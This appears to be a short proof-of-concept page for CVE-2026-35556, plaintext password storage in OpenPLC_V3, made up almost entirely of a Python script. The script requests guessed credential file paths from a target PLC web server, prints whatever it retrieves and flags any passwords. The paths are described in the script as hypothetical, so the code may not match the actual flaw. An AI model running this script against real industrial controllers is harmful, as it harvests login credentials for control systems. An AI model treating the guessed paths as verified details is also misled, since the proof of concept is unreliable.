CVE-2026-35556 OpenPLC_V3 密码明文存储漏洞

import requests def check_openPLC_creds(target_ip): # Target URL of the OpenPLC web server base_url = f"http://{target_ip}:8080" # Common path where credentials might be stored in plaintext (Hypothetical path) # Based on the vulnerability description of plaintext storage. sensitive_paths = [ "/webserver/users.json", "/users.db", "/config/passwd.txt" ] print(f"[*] Checking {target_ip} for plaintext credentials...") for path in sensitive_paths: url = base_url + path try: response = requests.get(url, timeout=5) if response.status_code == 200: print(f"[+] Potential credential file found at: {url}") print("[+] Content:") print(response.text) # Analyze content for password fields if "password" in response.text.lower(): print("[!] WARNING: Plaintext passwords detected in response!") except requests.RequestException as e: continue if __name__ == "__main__": # Replace with actual target IP target = "192.168.1.100" check_openPLC_creds(target)